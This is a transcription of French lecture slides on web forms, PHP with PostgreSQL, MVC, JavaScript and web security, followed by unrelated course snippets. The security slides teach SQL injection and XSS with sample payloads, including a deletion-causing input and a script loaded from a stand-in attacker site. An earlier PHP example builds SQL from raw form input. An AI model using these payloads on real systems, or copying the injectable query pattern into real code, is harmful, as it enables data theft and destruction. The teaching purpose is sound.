Applications interactives
|
|
- Emmanuel Martineau
- il y a 8 ans
- Total affichages :
Transcription
1 Applications interactives Anne-Laure Ligozat ENSIIE, 1re année 2015/ / 94
2 1 Formulaires Présentation Balises Exemple 2 / 94
3 Présentation Les formulaires Permettent l interaction entre un utilisateur et un programme d application Définition de différents types de champs de saisie 3 / 94
4 Présentation Exemple de formulaire 4 / 94
5 Balises Formulaires : balises de définition (1) Définition du formulaire balise conteneur < form >... < /form > Attributs du formulaire action : nom du programme (de la page) qui sera exécuté par le serveur method : mode de transmission des paramètres ( GET ou POST ) GET: passage des champs saisis dans l URL sous forme de paires (nom,valeur) : method.asp?fname=magali&lname=dupont POST: envoi des champs saisis par transaction HTTP POST enctype : type d encodage utilisé pour la transmission des données 5 / 94
6 Balises Formulaires : balises de définition (2) Champs du formulaire balise <input> Type du champ : attribut type text : champ monoligne de contenu quelconque <input type= text size= 20 maxlength= 18 name= titre /> transmet le contenu du champ dans une variable de nom name titre = le texte contenu dans le champ password : le texte tapé au clavier est remplacé par * hidden : champ non visible sur le formulaire à l écran qui permet de transmettre une information au programme appelé 6 / 94
7 Balises Formulaires : balises de définition (3) Type du champ : attribut type (suite) checkbox : boutons à choix multiples <label>comédie</label> : <input type= checkbox name= genre value= c /> <label>drame</label> : <input type= checkbox name= genre value= d /> transmet l information: genre = value radio : boutons à choix exclusif France: <input type= radio name= pays value = fr /> États-Unis: <input type= radio name= pays value= us /> mais aussi date, number, url... 7 / 94
8 Balises Formulaires : balises de définition (4) Valeur présélectionnée <input type= checkbox name= genre value= d checked= checked /> Boutons de commande submit : termine la saisie et transmet les informations saisies au programme désigné par l attribut action dans <form> <input type= submit value= Rechercher name= bouton1 > : au moins un bouton submit par formulaire reset : réinitialise le formulaire <input type= reset value= Annuler name= bouton2 > 8 / 94
9 Balises Formulaires : balises de définition (5) Liste de sélection de valeurs balise select Metteur en scène: <select name= réalisateur > <option value= 1 >Alfred Hitchcock</option> <option value= 2 >Quentin Tarantino</option>... </select> aide au codage selected : choix présélectionné par défaut : choix exclusif choix multiple : attribut multiple dans la balise select 9 / 94
10 Balises Formulaires : balises de définition (6) Champs de saisie / affichage multilignes balise textarea <textarea name= resume cols= 30 rows= 3 > [texte par défaut] </textarea> 10 / 94
11 Balises Formulaire : exemple de définition (1) <html> <head> <title>formulaire complet </title> <link rel= stylesheet href= films.css type= text/css > </head> <body> <form action= method= post > <input type= hidden name= NomForme value= exforme1 /> Titre: <input type= text size= 20 name= titre /> Année: <input type= text size= 4 maxlength= 4 name= annee value= 2000 /> <p> Comédie: <input type= checkbox name= genre value= c /> Drame: <input type= checkbox name= genre value= d /> Histoire: <input type= checkbox name= genre value= h /> </p> 11 / 94
12 Exemple Formulaire : exemple de définition (2) <p> Résumé: <textarea name= resume cols= 30 rows= 3 >Résumé du film </textarea> </p> Metteur en scène: <select name= réalisateur size= 3 > <option value= 1 >Alfred Hitchcock</option> <option value= 2 >François Truffaut</option> <option value= 3 selected= selected >Quentin Tarantino</option>... </select> <h3>votre choix?</h3> <input type= submit value= Rechercher /> <input type= reset value= Annuler /> </form> </body> </html> 12 / 94
13 2 PHP Caractéristiques Interaction avec l utilisateur Connexion à une base de données 13 / 94
14 Caractéristiques PHP PHP PHP: Hypertext Preprocessor Caractéristiques langage dédié à la production de pages HTML générées dynamiquement langage interprété script intégré à HTML (interpréteur de PHP intégré au serveur web) syntaxe similaire à celle du C Documentation php : toutes les fonctions php: 14 / 94
15 Caractéristiques Historique des versions de PHP / 94
16 Caractéristiques Rappel : exemple d accès à une page web avec PHP 16 / 94
17 Caractéristiques Génération du HTML Un premier exemple très simple (exemple.php) <!DOCTYPE html> <html> <body> <h1>un très beau titre</h1> <p>j affiche la date : </body> </html> deviendra (html) <?php echo date( j/m/y );?> </p> <!DOCTYPE html> <html> <body> <h1>un très beau titre</h1> <p>j affiche la date : 19/02/2013 </p> </body> </html> 17 / 94
18 Caractéristiques Généralités sur le langage PHP fichiers.html ou.php code php contenu entre les balises <?php et?> code = instructions terminées par un ; 18 / 94
19 Caractéristiques Généralités Commentaires /*plusieurs lignes*/ // 1 ligne Variables variables: pas de déclaration; pas de type fixe; noms de variables préfixés par $ sensible à la casse: nclient nclient variable définie et non NULL? fonction isset($nomvariable) Constantes define ( NOM, valeur) nom-constante par convention en majuscules 19 / 94
20 Caractéristiques Généralités Types chaîne de caractères (autres exemples) Le titre est $titre \n, Mme.$nom guillemets simples (quotes) : $var n est pas interprétée (pas remplacée par sa valeur); echo la variable $lecteur ; //affiche : la variable $lecteur protéger les apostrophes : echo d \ abord guillemets doubles : echo la variable \$lecteur vaut : $lecteur //affiche : la variable $lecteur vaut : 124 utilisation des accolades : {} $boisson = vin; echo il a goûté plusieurs ${boisson}s ; // plusieurs vins syntaxe heredoc : <<< <<<EOD Ceci est une chaîne. EOD; même identifiant qu au début avec rien d autre qu un ; 20 / 94
21 Caractéristiques Généralités Types (autres) booléens 0, 0.0, 0,, tableau vide, null: faux ; tout le reste vrai valeurs booléennes: TRUE, FALSE (non sensible à la casse) entiers flottants 3.14, 0.3 e-2 tableaux longueur dynamique, éléments pas nécessairement du même type indice = entier ou chaîne de caractère (tableau associatif), ou les deux 21 / 94
22 Caractéristiques Tableaux avec clés numériques Affectation automatique des indices $tab[0] = element1 ; $tab[ ] = element1 ; $tab[1] = element2 ; $tab[ ] = element2 ; $tab[2] = 12; $tab[ ] = 12; $tab = array( element1, element2, 12); $trimestre1 = array(1 janvier, février, mars ); print r($trimestre1); // va afficher: Array ([1] janvier [2] fevrier [3] mars ) 22 / 94
23 Caractéristiques Tableaux avec clé chaîne de caractères (associatif) Repère les éléments par une clé $real[ vertigo ] = Hitchcock ; $real[ alien ] = Scott ; $real[ kagemusha ] = Kurosawa ; $real=array( vertigo Hitchcock, alien Scott, kagemusha Kurosawa ); Utilisation echo $real[ alien ] ; // Scott echo le réalisateur est {$real[ alien ]}. ; 23 / 94
24 Caractéristiques Traitements des tableaux (1) Parcours de tableaux foreach ($tab as $value) { echo $value \n <br /> ; } // $tab: tableau, $value: valeur de l élément courant foreach ($tab as $key => $value){... } // $key clé de l élément courant 24 / 94
25 Caractéristiques Traitements des tableaux (2) Quelques fonctions sur les tableaux reset : positionne au premier élément end : positionne en fin de tableau next : avance le pointeur d un élément prev : recule le pointeur d un élément current : retourne l élément courant key : retourne la clé courante unset : suppression d un tableau ou d un élément serialize, unserialize : linéarisation ( stockage) count : compte éléments du tableau très nombreuses autres fonctions sur tableaux (tris, comparaisons...) [ 25 / 94
26 Caractéristiques Fonctions Arguments passage des arguments par valeur par adresse : function ex2 ( &$p1, $p2) {... $p1++;... } $j =1; k = ex2($j, $i); // j = 2 noms de fonctions insensibles à la casse (minuscules / majuscules sans importance) 26 / 94
27 Caractéristiques Structuration d un script Inclusion d une fonction (ou d un ensemble de fonctions) dans le script d un programme include ou require(fichier) différence: include ne produit qu un warning en cas d erreur d inclusion, alors que require produit une erreur et arrête l exécution du script si répétitive include once/require once à utiliser pour des définitions de fonctions (éviter d inclure code php) 27 / 94
28 Caractéristiques Exemple d inclusion 28 / 94
29 Caractéristiques Structuration des pages de script Module Ensemble de fonctions concernant un même sujet que l on peut inclure dans le code PHP <?php include( connect.php ); include( gestiontable.php ); include( formulaire.php ); / 94
30 Interaction avec l utilisateur Interagir avec l utilisateur Utilisation de formulaires pour connaître ses choix 30 / 94
31 Interaction avec l utilisateur Traitement du formulaire 31 / 94
32 Interaction avec l utilisateur Exemple simple de formulaire formulaire.php <form action= cible.php method= post > <p>quel est votre nom? <input type= text name= nom /> </p> <p> <input type= submit value= Valider /> </p> </form> cible.php <p>bonjour <?php echo $ POST[ nom ];?>! </p> 32 / 94
33 Connexion à une base de données Stockage des informations dans une base de données Que stocker? informations propres à l application développée films, réalisateurs... dans l exemple de la base de films informations concernant le site web informations sur les utilisateurs (nom, mot de passe, login...), actualités / 94
34 Connexion à une base de données Exemple d accès à une page web avec PHP + PosgreSQL 34 / 94
35 Connexion à une base de données Exemple d échange 35 / 94
36 Connexion à une base de données Exemple : Formulaire appelant un script PHP <html> <head> <title>formulaire pour script PHP </title> </head> <body> <h1> Formulaire de saisie pour rechercher des films</h1> <form action= ExPhp1.php method= post > <p> Titre: <input type= text size= 20 name= titre value= % /> Le caractère % remplace n importe quelle chaîne. </p> <p> <input type= submit value= Rechercher /> <input type= reset value= Annuler /> </p> </form> </body> </html> 36 / 94
37 Connexion à une base de données Exemple : Affichage client 37 / 94
38 Connexion à une base de données Exemple : Script PHP ExPhp1.php <html> <head> <title>formulaire pour script PHP </title> </head> <body> <h1>résultat de l interrogation par formulaire le <?php echo date( j/m/y );?></h1> <?php $titre = $ POST[ titre ]; echo <p>vous avez demandé: Titre = $titre<br/> ; /*on veut un film qui contienne la chaine rentrée*/ $requete = SELECT * FROM film WHERE titre LIKE %$titre% ; ; $connexion = pg connect( host=localhost dbname=films ); //on devrait tester la connexion / 94
39 Connexion à une base de données Exemple : Script PHP ExPhp1.php (suite) $reponse = pg query($connexion, $requete); if($reponse){ $nbtuples = pg num rows ($reponse); echo <ul> ; while ($tuplecourant = pg fetch assoc($reponse) ){ echo <li>titre : $tuplecourant[ titre ], ; echo sorti en : $tuplecourant[ annee ]</li> ; } echo </ul> ; } else{ echo Problème à l exécution de la requete sur les films ; } pg close($connexion); echo </p> ;?> </body> </html> 39 / 94
40 Connexion à une base de données Exemple : Code (X)HTML produit par l exécution des scripts PHP <html> <head> < t i t l e>f o r m u l a i r e pour s c r i p t PHP</ t i t l e> </ head> <body> <h1>r e s u l t a t de l i n t e r r o g a t i o n par f o r m u l a i r e l e 03/03/2015</h1> <p>vous avez demande : T i t r e=s l e e p<br /> <u l> < l i>t i t r e : Sleepy Hollow, paru en : 1999</ l i> < l i>t i t r e : S l e e p l e s s i n S e a t t l e, paru en : 1993</ l i> </ u l> </p> </ body> </ html> 40 / 94
41 Connexion à une base de données Exemple : Affichage client 41 / 94
42 Connexion à une base de données Exemple : fonctionnement 42 / 94
43 Connexion à une base de données Fonctionnement du transfert d information 43 / 94
44 Connexion à une base de données Transfert d informations entre deux pages php : champs cachés 44 / 94
45 Connexion à une base de données Transfert d informations entre deux pages php : variables de session 45 / 94
46 Connexion à une base de données API PHP/PostgreSQL Ensemble de fonctions attachement à la base: pg connect ; renvoie un indice de connexion (ou false, s il y a erreur) exécution d une requête : pg query; renvoie un indice de résultat ou false pg num rows : renvoie le nombre de tuples résultat de select pg num fields : renvoie le nombre d attributs du résultat de select pg affected rows: renvoie le nombre de tuples insérés/modifiés/supprimés récupération message erreur: pg last error (indice connexion) récupération du tuple courant d un résultat : pg fetch row/pg fetch array/pg fetch object fermeture de la base: pg close 46 / 94
47 Connexion à une base de données Portabilité des accès BD : extension PHP Data Objects (PDO) interface d abstraction de l accès aux données (pas de la base de données) il faut utiliser en plus le driver PDO spécifique de la BD à utiliser <?php $dbh = new PDO( pgsql:host=$host;dbname=$dbname, $user, $pass, array(pdo::attr PERSISTENT => true)); pour avoir une connexion persistante (mise en cache au lieu de fermée à la fin du script)?> 47 / 94
48 Connexion à une base de données Portabilité des accès BD : extension PHP Data Objects (PDO) 48 / 94
49 Connexion à une base de données Select dans le contexte web Limitation du nombre de résultats LIMIT affichage d une partie du résultat d une requête en fonction du besoin récupération d une partie seulement du résultat d une requête SELECT... ORDER BY... [LIMIT {nombre / ALL}] [OFFSET nombre] Ne pas oublier d ordonner les résultats Exemples select * from lecteurs order by n lecteur limit 30; select * from lecteurs order by n lecteur limit 30 offset 31; 49 / 94
50 Connexion à une base de données Curseurs SQL inclus dans un langage hôte requêtes SQL incluses dans un langage de programmation impératif passage d un langage ensembliste (SQL) à un langage procédural mécanisme du curseur = tampon correspondant au résultat d une requête plusieurs curseurs peuvent être ouverts simultanément 50 / 94
51 Connexion à une base de données Exemple de BD Exemple client(n client, nom client, prenom client) commande(n client, n commande, date, commande) ligne commande(n commande, n produit, quantite, total client) 51 / 94
52 Connexion à une base de données Exemple: affichage souhaité Affichage Etat des montants commandés client num 100, Stark Tony commande num 50 du dddd total... commande num 72 du dddd total... total client 100:... client num 200, Rogers Steve commande num 58 du dddd total... total client 200:... client num 230, Banner Bruce commande num 56 du dddd total... commande num 90 du dddd total... total client 230:... Nombre de clients:... Nombre de commandes:... Total ensemble des clients: / 94
53 Connexion à une base de données Curseurs triés client NJ commande NJ ligne commande trié par n client, n commande n client n commande... n produit total client / 94
54 Connexion à une base de données Algorithme de traitement séquentiel des curseurs triés lecture premier tuple boucle client traitement début client boucle commandes du client courant traitement début commande boucle des lignes de la commande courante du client courant traitement d un tuple lecture tuple suivant traitement fin commande traitement fin client 54 / 94
55 Connexion à une base de données Algorithme (1/2) /* traitement dé but */ /* connection à la BD */ $curseur = pg_query ($bd, $requete ); if ( $curseur ) { $tot_gen = 0; /* traitement dé but curseur */ $tuple_courant = pg_fetch_assoc ( $curseur ); /* tester si ré sultat non vide */ $n_client = $tuple_courant [ n_client ]; $n_commande = $tuple_courant [ n_commande ]; $mtlc= $tuple_courant [ mtlc ]; $date= $tuple_courant [ date_com ]; while ( $tuple_courant ){ $n_client_courant = $n_client ; $tot_cl = 0; /* traitement dé but client */ print " client numero : $n_client_courant "; while ( $tuple_courant && $n_client = = $n_client_courant ){ { $n_com_courant = $n_commande ; $tot_com = 0; /* traitement dé but commande */ while ( $tuple_courant && $n_client == $n_client_courant && $n_commande == $n_com_courant ) { $tot_com += $mtlc ; /* traitement tuple */ // lecture tuple suivant $tuple_courant = pg_fetch_assoc ( $curseur ); 55 / 94
56 Connexion à une base de données Algorithme (2/2) If ( $tuple_courant ){ $n_client = $tuple_courant [ n_client ]; // n_client lu $n_commande = $tuple_courant [ n_commande ]; // autres attributs lus $mtlc= $tuple_courant [ mtlc ]; $date= $tuple_courant [ date_com ]; } } $tot_cl += $tot_com ; /* traitement fin commande */ print " commande num : $n_com - courant, date : $date, total : $tot - com " } $tot_gen += $tot_cl ; /* traitement fin client */ print " total client : $tot - cl"; } print " total général = $tot - gen "; /* traitement fin curseur */ } else { print " erreur exé cution requ^ete = ". pg_last_error ( $bd ); } /* traitement fin */ 56 / 94
57 3 MVC Principe Exemple 57 / 94
58 Principe Amélioration de l architecture des pages : patron MVC MVC Modèle Vue Contrôleur Dans le code des pages ne pas mélanger ce qui est : modèle : accès aux données vue : affichage (principalement HTML) contrôleur : traitement des données pages dédiées à chaque partie + orchestration des deux parties 58 / 94
59 Principe Patron MVC 59 / 94
60 Principe MVC : fonctionnement 60 / 94
61 Exemple Exemple MVC voir fichier exemple initial et fichier exemple MVC modele news.php vue news.php contient essentiellement du xhtml code php très simple et limité (parcours tableau, appel de fonction, echo) controleur news.php inclut le modèle (pour pouvoir récupérer les données ou faire les traitements sur les données) inclut la vue (pour faire l affichage) 61 / 94
62 Exemple MVC : architecture des pages 62 / 94
63 4 JavaScript Présentation Manipulation des éléments HTML 63 / 94
64 Présentation Intérêt de JavaScript augmenter l interactivité de l IHM en réduisant les échanges client-serveur objectifs: petites applications simples (calculette, calcul de devis..) amélioration de l aspect graphique de l interface (gestion fenêtres, modification d image au passage de la souris...) contrôle de la validité des saisies (champs obligatoires remplis, valeur saisie du bon type...) aide contextuelle, menus contextuels / 94
65 Présentation Accès à une page web avec JavaScript 65 / 94
66 Présentation JavaScript Généralités sur le langage rien à voir avec Java code intégré au texte HTML et interprété par le navigateur (donc exécuté sur le client) langage de programmation objet simple, programmation événementielle code visible, aucune sécurité JavaScript désactivable par l utilisateur code contenu dans une balise <script> 66 / 94
67 Présentation Insertion du code JavaScript Insertion du code dans l en-tête de préférence (notamment fonctions) dans le corps pour générer du HTML dynamique dans un événement d objet de la page Exemple de code dans le corps du document (w3schools) <!DOCTYPE html> <html> <body>... < s c r i p t> document. w r i t e ( <h1>c e c i e s t un t i t r e </h1> ) ; document. w r i t e ( <p>c e c i e s t un p a r a g r a p h e </p> ) ; </ s c r i p t>... </ body> </ html> 67 / 94
68 Présentation Définition de fonctions <script language= JavaScript > function nom fonction(paramètres) { //contenu fonction;... ; return(...); } </script> N.B. return pas obligatoire 68 / 94
69 Présentation Insertion du code dans l en-tête Exemple de code dans l en-tête du document (w3schools) <!DOCTYPE html> <html> <head> <script> function myfunction() { document.getelementbyid( demo ).innerhtml= Ma premiere fonction JavaScript ; } </script> </head> <body> <h1>ma page web</h1> <p id= demo >Un paragraphe</p> <button type= button onclick= myfunction() >Cliquez!</button> </body> </html> 69 / 94
70 Présentation Exemple JavaScript 70 / 94
71 Présentation Code JavaScript séparé code JavaScript stocké dans un fichier séparé nom de ce fichier dans l attribut src de la balise <script> <script src= scriptcontroles.js > code partagé, bibliothèque de fonctions, lisibilité 71 / 94
72 Manipulation des éléments HTML Possibilités Manipulation des éléments HTML Pour JavaScript, les différents éléments d une page HTML sont des objets que l on peut manipuler via: leurs propriétés (attributs) des méthodes de l objet (fonctions s exécutant avec les attributs de l objet) des événements associés à l objet 72 / 94
73 Manipulation des éléments HTML Hiérarchie d objets navigator informations sur le navigateur du client window propriétés et méthodes pour manipuler une fenêtre du navigateur history propriétés et méthodes pour manipuler l historique d une fenêtre frame propriétés et méthodes pour manipuler une frame d une fenêtre document propriétés et méthodes pour manipuler le document dans une fenêtre/frame (écrire dans le document...) location propriétés et méthodes pour traiter l url localisée dans une fenêtre forms propriétés et méthodes pour manipuler un formulaire element anchors links 73 / 94
74 Manipulation des éléments HTML Manipulation des objets, autres objets désignation de la propriété value d un élément text de nom ex Champ d un formulaire de nom ex Forme : document.ex Forme.ex Champ.value utilisation d une méthode d un objet document.writeln( output by JavaScript ); autres objets JS string, Math, Date objets définis par le programmeur 74 / 94
75 Manipulation des éléments HTML Gestion des événements Événements déclenchés auxquels on associe du code JS 5 catégories document (chargement nouvelle page, sortie ancienne page) (onload, onunload) form (interaction avec le formulaire) ancre (click sur le lien) element (statut des images associées à une page) fenêtre (quelle fenêtre est active) 75 / 94
76 Manipulation des éléments HTML Exemple: les liens (ancres) événements associés: onmouseover, onmouseout, onclick association code JavaScript et événement: <a href=... événement= fonctionjavascript(paramètre1, paramètre2,...) ou code JS >texte de l ancre</a> 76 / 94
77 Manipulation des éléments HTML Association événement-code Peut aussi être faite par programme <body onfocus= mafocusfonction(); onblur = mablurfonction(); > <script> window.document.onfocus = mafocusfonction; window.document.onblur = mablurfonction; </script> 77 / 94
78 Manipulation des éléments HTML Forms : objets, propriétés, méthodes (1) Objet propriétés méthode Prop.événement (Event Handler) form action, elements submit() onsubmit encoding, length method, target button name, value click() onclick checkbox checked click() onclick defaultchecked name, value 78 / 94
79 Manipulation des éléments HTML Forms : objets, propriétés, méthodes (2) Objet propriétés méthode Prop.événement (Event Handler) select name, length blur() onblur selectedindex focus() onfocus options(array) onchange - defaultselected - index - length - name - selected - selectedindex - text - value... hidden, password, radio, reset, submit, text, textarea 79 / 94
80 Manipulation des éléments HTML Exemple de page <html> <head><title> test balise input</title> <script> Function verifnum(valeur){ //vérification que la chaîne de caractères représentée par le //paramètre valeur ne contient que des caractères numériques for (var i=0; i<valeur.length; i++){ var caractere=valeur.substring(i, i+1); if (caractere < 0 caractere > 9 ) return false; } return true; } </script> <body> <form name= exemple > <input name= montant onchange= if (!verifnum(this.value)){alert ( ne saisissez que des chiffres! ); return false} > </form> </body> </html> 80 / 94
81 Manipulation des éléments HTML AJAX AJAX = Asynchronous JavaScript and XML client riche échange de données avec un serveur sans mise à jour de la page complète 81 / 94
82 Manipulation des éléments HTML Accès à une page web avec AJAX 82 / 94
83 Manipulation des éléments HTML Exemple d utilisation d AJAX Formulaire web sans: demande à l utilisateur de saisir des informations vérification de format avec JavaScript envoyer la page au serveur pour validation avec: validation des données entrées chargement à la volée d informations en fonction des entrées exemple: Google Suggest Exemple formulaire avec suggestions 83 / 94
84 Manipulation des éléments HTML Fonctionnement d Ajax 84 / 94
85 5 Sécurité Principes généraux Injection SQL Injection HTML 85 / 94
86 Principes généraux Sécurité et applications web Ne jamais faire confiance aux données envoyées par le client contrôler les données reçues (par GET ou par POST): tout ce qui est attendu est là les données reçues sont conformes à ce qui est attendu (type, bornes de validité, valeurs, jeu de caractères...) 86 / 94
87 Principes généraux Interdire la mise en cache Complétion de formulaires Page web header( Cache-Control : no-cache ); //HTTP/1.1 header( Expires: Thu, 01 Jan :00:00 GMT ); 87 / 94
88 Injection SQL Injection SQL Exemple de code problématique <?php... $requete = SELECT nom, prenom, login FROM users WHERE login =.$ POST[ login ]. AND password =.$ POST[ password ]. ;... echo Bonjour $prenom, $nom!?> 88 / 94
89 Injection SQL Injection SQL (2) Requête SQL exécutée SELECT nom, prenom FROM users WHERE login = OR 1 = 1 AND password = bonjour paul dupond! (indépendamment du nom entré) 89 / 94
90 Injection SQL Injection SQL (3) Détournement de la clause DELETE <?php $requete = DELETE FROM user WHERE id =.$ POST[ id ]. ; ;?> saisie dans id: 1 OR id > 0 ; requête exécutée: DELETE FROM user WHERE id = 1 OR id > 0 ; destruction de tous les user! 90 / 94
91 Injection SQL Injection SQL (4) Protection contre les injections filtrer les entrées: taille, type... ne pas afficher d information en cas d erreur protéger avec la fonction addcslashes() string addcslashes ( string $str, string $charlist ) échapper les caractères:,, %, \x00 et \x1a <?php $chaine = %salut ; // Échappement des caractères % et $chaine = addcslashes($chaine, % ); echo $chaine; // Affiche \%salut\?>, caractère null (\0), /, \n, \r, 91 / 94
92 Injection HTML Injection HTML (faille XSS, cross-site scripting ) <html> <head> <title>injection HTML</title> </head> <body> <?php echo Salut, tu t appelles.$ POST[ pseudo ];?> </body> </html> saisie dans le champ pseudo: <i>smith</i> affichera : Salut, tu t appelles Smith saisie dans le champ pseudo: Smith<script src= > injection de code malveillant 92 / 94
93 Injection HTML Injection HTML (2) Filtrer les entrées, les nettoyer (utf decode, strip tags, filter *) Ne pas stocker des informations non vérifiées Préciser le jeu de caractères Protéger les sorties échapper les balises html dans le texte affiché (htmlspecialchars, htmlentities) <?php echo Salut, tu t appelles.htmlentities($ POST[ pseudo ], ent quotes);?> affichera : Salut, tu t appelles <i>smith</i> ou Smith<script src= > Les balises html sont justes restituées code source de la page: Smith<script src=" sitepirate.com/injection.js"/script > 93 / 94
94 Injection HTML Bibliographie W3schools : OpenClassrooms: Documentation PHP : hhttps://php.net/manual/fr/ 94 / 94
Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP
Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP Au cours de ce TP, vous allez voir comment PHP permet aux utilisateurs, une interaction avec
Plus en détailLa programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2)
Le langage PHP (2) Walid Belkhir Université de Provence belkhir@cmi.univ-mrs.fr http://www.lif.univ-mrs.fr/ belkhir/ 1 / 54 1 La programmation orientée objet 2 Gestion de Connexions HTTP 3 Manipulation
Plus en détailCREATION d UN SITE WEB (INTRODUCTION)
CREATION d UN SITE WEB (INTRODUCTION) Environnement : World Wide Web : ordinateurs interconnectés pour l échange d informations ( de données) Langages : HTML (HyperText Markup Language) : langages pour
Plus en détailPrincipales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement
Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement P. 2 1. Introduction 2.
Plus en détailTP JAVASCRIPT OMI4 TP5 SRC1 2011-2012
TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012 FORMULAIRE DE CONTACT POUR PORTFOLIO PRINCIPE GENERAL Nous souhaitons réaliser un formulaire de contact comprenant les champs suivants : NOM PRENOM ADRESSE MAIL MESSAGE
Plus en détailMysql avec EasyPhp. 1 er mars 2006
Mysql avec EasyPhp 1 er mars 2006 Introduction MYSQL dérive directement de SQL (Structured Query Language) qui est un langage de requètes vers les bases de données relationnelles. Il en reprend la syntaxe
Plus en détailCREATION WEB DYNAMIQUE
CREATION WEB DYNAMIQUE IV ) MySQL IV-1 ) Introduction MYSQL dérive directement de SQL (Structured Query Language) qui est un langage de requêtes vers les bases de données relationnelles. Le serveur de
Plus en détailProgrammation Web. Madalina Croitoru IUT Montpellier
Programmation Web Madalina Croitoru IUT Montpellier Organisation du cours 4 semaines 4 ½ h / semaine: 2heures cours 3 ½ heures TP Notation: continue interrogation cours + rendu à la fin de chaque séance
Plus en détailSYSTÈMES D INFORMATIONS
SYSTÈMES D INFORMATIONS Développement Modx Les systèmes de gestion de contenu Les Content Management Système (CMS) servent à simplifier le développement de sites web ainsi que la mise à jour des contenus.
Plus en détailAttaques applicatives
Attaques applicatives Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites
Plus en détailPHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)
PHP et mysql php_mysql PHP et mysql Code: php_mysql Originaux url: http://tecfa.unige.ch/guides/tie/html/php-mysql/php-mysql.html url: http://tecfa.unige.ch/guides/tie/pdf/files/php-mysql.pdf Auteurs et
Plus en détailModule BD et sites WEB
Module BD et sites WEB Cours 8 Bases de données et Web Anne Doucet Anne.Doucet@lip6.fr 1 Le Web Architecture Architectures Web Client/serveur 3-tiers Serveurs d applications Web et BD Couplage HTML-BD
Plus en détailPHP 5. La base de données MySql. A. Belaïd 1
PHP 5 La base de données MySql A. Belaïd 1 Base de données C est quoi une base de données? Une base de données contient une ou plusieurs tables, chaque table ayant un ou plusieurs enregistrements Exemple
Plus en détailSécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin
Sécurité des sites Web Pas un cours un recueil du net INF340 Jean-François Berdjugin Vulnérabilité Définition (wikipédia) : Dans le domaine de la sécurité informatique, une vulnérabilité est une faiblesse
Plus en détailFailles XSS : Principes, Catégories Démonstrations, Contre mesures
HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Séminaire 15 ans HSC Failles XSS : Principes, Catégories Démonstrations,
Plus en détailLangage propre à Oracle basé sur ADA. Offre une extension procédurale à SQL
Cours PL/SQL Langage propre à Oracle basé sur ADA Offre une extension procédurale à SQL PL/SQL permet d utiliser un sous-ensemble du langage SQL des variables, des boucles, des alternatives, des gestions
Plus en détailIntroduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)
Introduction PHP = Personal Home Pages ou PHP Hypertext Preprocessor Langage de script interprété (non compilé) Plan Avantages Fonctionnement interne Bases du langage Formulaires Envoi d un email Avantages
Plus en détailLangage SQL (1) 4 septembre 2007. IUT Orléans. Introduction Le langage SQL : données Le langage SQL : requêtes
Langage SQL (1) Sébastien Limet Denys Duchier IUT Orléans 4 septembre 2007 Notions de base qu est-ce qu une base de données? SGBD différents type de bases de données quelques systèmes existants Définition
Plus en détailStockage du fichier dans une table mysql:
Stockage de fichiers dans des tables MYSQL avec PHP Rédacteur: Alain Messin CNRS UMS 2202 Admin06 30/06/2006 Le but de ce document est de donner les principes de manipulation de fichiers dans une table
Plus en détailPHP 4 PARTIE : BASE DE DONNEES
PHP 4 PARTIE : BASE DE DONNEES 1. Introduction 2. Présentation de MySQL 3. Principe 4. Connexion 5. Interrogation 6. Extraction des données 7. Fonctions de services 8. Traitement des erreurs 9. Travaux
Plus en détailPHP. Bertrand Estellon. 26 avril 2012. Aix-Marseille Université. Bertrand Estellon (AMU) PHP 26 avril 2012 1 / 214
PHP Bertrand Estellon Aix-Marseille Université 26 avril 2012 Bertrand Estellon (AMU) PHP 26 avril 2012 1 / 214 SQLite et PDO Base de données SQLite et PDO SQLite écrit les données relatives à la base dans
Plus en détailCRÉER, ROUTER ET GÉRER UNE NEWSLETTER, UN E-MAILING
CRÉER, ROUTER ET GÉRER UNE NEWSLETTER, UN E-MAILING Durée : 3J / 21H Formateur : Consultant expert en PAO et Web-marketing. Groupe de : 4 max Formation au web marketing Objectifs : Mettre en oeuvre des
Plus en détailContactForm et ContactFormLight - Gestionnaires de formulaire pour Prestashop Edité par ARETMIC S.A.
ContactForm et ContactFormLight - Gestionnaires de formulaire pour Prestashop Edité par ARETMIC S.A. - 1 - PREAMBULE Les conditions générales d utilisation détaillant l ensemble des dispositions applicables
Plus en détailModélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework
Modélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework L'objectif de ce document est de poser des bases de réflexion sur la modélisation d'un projet réalisé
Plus en détailPlan Général Prévisionnel (1/2) (non contractuel) Internet et Outils L1/IO2 2006-2007 S2-IO2 Bases de données: Jointures, Transactions
Général Prévisionnel (1/2) (non contractuel) Internet et Outils L1/IO2 2006-2007 S2-IO2 Bases de données: Jointures, Cours Internet et Outils: [1/12] Intro, Internet, Web, XHTML (2H) [2/12] XHTML(2H) [3/12]
Plus en détailNFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web
NFA016 : Introduction O. Pons, S. Rosmorduc Conservatoire National des Arts & Métiers Pour naviguer sur le Web, il faut : 1. Une connexion au réseau Réseau Connexion physique (câbles,sans fils, ) à des
Plus en détailMysql. Les requêtes préparées Prepared statements
Mysql Les requêtes préparées Prepared statements Introduction Les prepared statements côté serveur sont une des nouvelles fonctionnalités les plus intéressantes de MySQL 4.1 (récemment sorti en production
Plus en détailINTRODUCTION A JAVA. Fichier en langage machine Exécutable
